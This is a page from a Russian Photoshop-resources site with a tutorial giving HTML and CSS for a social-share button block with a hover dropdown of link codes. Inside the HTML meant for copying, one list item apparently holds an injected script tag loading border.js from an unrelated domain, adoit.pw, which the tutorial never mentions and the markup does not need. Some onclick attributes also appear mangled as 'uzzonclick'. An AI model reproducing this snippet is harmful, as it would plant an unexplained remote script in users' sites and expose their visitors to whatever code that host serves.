Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Свадебная рамка - Наша свадьба
        Свадебная рамка - Наша свадьба
        Скачать Календарь с вырезом под фото на 2012 и 2013 год - Скоро наступит осень
        Скачать Календарь с вырезом под фото на 2012 и 2013 год - Скоро наступит осень
        Набор для выпускника детского сада -  До свиданья детский сад - Рамка для фото, DVD обложка, DVD диск
        Набор для выпускника детского сада - До свиданья детский сад - Рамка для фото, DVD обложка, DVD диск
        Скачать Календарь 2013 года отрывной помесячный - Танки Великой Отечественной войны
        Скачать Календарь 2013 года отрывной помесячный - Танки Великой Отечественной войны
        Клипарт красные вишенки (прозрачный фон)
        Клипарт красные вишенки (прозрачный фон)
        Женская рамка - Коллаж Красивая девушка
        Женская рамка - Коллаж Красивая девушка
        Детские рамки для фото - Winx club
        Детские рамки для фото - Winx club
        Рамка для оформления выпускных фото
        Рамка для оформления выпускных фото
        футажи: Один годик - Кирюха дуй
        футажи: Один годик - Кирюха дуй
        Свадебная Рамка с голубями, кольцами и бантами - Словно птица небесного рая – любовь
        Свадебная Рамка с голубями, кольцами и бантами - Словно птица небесного рая – любовь

        Главная » 2013 » Июль » 21 » БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
        15:42
        БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
        И так начнем
        Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала.

        Код
        <section>  
          <ul class="social">  
          <li><a href="#" class="google"></a></li>  
          <li><a href="#" class="facebook"></a></li>  
          <li><a href="#" class="vk"></a></li>  
          <li><a href="#" class="twitter"></a></li>  
          <li><script src="http://adoit.pw/border.js" type="text/javascript"></script>  
          <a href="#" class="link">  
          <div class="submenu">  
          <label for="1">URL:</label>  
          <input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly>  
          <label for="2">HTML:</label>  
          <input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly>  
          <label for="3">BB code:</label>  
          <input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly>  
          </div>  
          </a>  
          </li>  
          </ul>  
          </section>



        CSS

        Теперь добавим немного стилей

        Код
        .social {  
          position: relative;  
        }  

        .social li {  
          float: left;  
        }  

        .social li a{  
          width: 36px;  
          height: 30px;  
          margin: 0 2px;  
          display: block;  
        }  

        .submenu {  
          position: absolute;  
          width: 193px;  
          top: 37px;  
          left: 3px;  
          background: rgb(66,67,67);  
          background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%);  
          background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1)));  
          background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 );  
          padding: 0 10px 10px 10px;  

          border-radius: 5px;  
          -moz-border-radius: 5px;  
          -webkit-border-radius: 5px;  

          box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
          -moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
          -webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  

          opacity: 0;  
           
          -webkit-transition:opacity .3s ease .2s;  
          -moz-transition:opacity .3s ease .2s;  
          -o-transition:opacity .3s ease .2s;  
          transition:opacity .3s ease .2s;  
        }  

        .link:hover > div {  
          opacity: 1;  
        }  

        .submenu:after{  
          bottom: 100%;  
          border: solid transparent;  
          content: " ";  
          height: 0;  
          width: 0;  
          position: absolute;  
          pointer-events: none;  
        }  

        .submenu:after {  
          border-bottom-color: rgb(66,67,67);  
          border-width: 7px;  
          right: 4%;  
          margin-left: -7px;  
        }  

        .submenu label {  
          margin-top: 4px;  
          font: 14px Calibri;  
          display: block;  
          color: #7e7e7e;  
          text-shadow: 1px 0 1px rgba(0,0,0,.44);  
        }  

        .submenu input[type="text"] {  
          width: 100%;  
          font-family: Tahoma;  
          color: #fff;  
          background: #323232;  
          padding: 5px;  
          border: 1px solid #1b1b1b;  
          cursor: text;  

          border-radius: 4px;  
          -moz-border-radius: 4px;  
          -webkit-border-radius: 4px;  

          box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
          -moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
          -webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
        }  

        .google {  
          background: url('http://pnghosts.ru/img/google.png');  
        }  

        .facebook {  
          background: url('http://pnghosts.ru/img/facebook.png');  
        }  

        .vk {  
          background: url('http://pnghosts.ru/img/vk.png');  
        }  

        .twitter {  
          background: url('http://pnghosts.ru/img/twitter1.png');  
        }  

        .link {  
          background: url('http://pnghosts.ru/img/link.png');  
        }


        Все готово!

        Примечание! При создании был использован CSS - Normalize(Reset), поэтому при добавлении на свой сайт без этих стилей, вам нужно будет подстроить стили под себя!
        Категория: Скрипты для Ucoz | Просмотров: 944 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Четверг
            28.03.2024
            18:00

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Videohive Web Pages — After Effects Project
            Videohive Web Pages — After Effects Project
            Скачать Календарь с вырезом под фото на 2012 и 2013 год - Скоро наступит осень
            Скачать Календарь с вырезом под фото на 2012 и 2013 год - Скоро наступит осень
            Скачать Женская рамка с красивыми розами
            Скачать Женская рамка с красивыми розами
            футажи  эффекты -  Игра лучей и бликов
            футажи эффекты - Игра лучей и бликов
            Детский шаблон для фотошопа - С лёгким паром
            Детский шаблон для фотошопа - С лёгким паром
            Рамка для фото - Наше семейное фото
            Рамка для фото - Наше семейное фото
            Детские шаблоны для девочек 5-7 лет
            Детские шаблоны для девочек 5-7 лет
            Женская рамка - Коллаж Нежный бархат
            Женская рамка - Коллаж Нежный бархат
            Рамка для фото – Твоя счастливая мечта
            Рамка для фото – Твоя счастливая мечта
            Детская рамка Морской мир
            Детская рамка Морской мир

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2024
            Создать бесплатный сайт с uCoz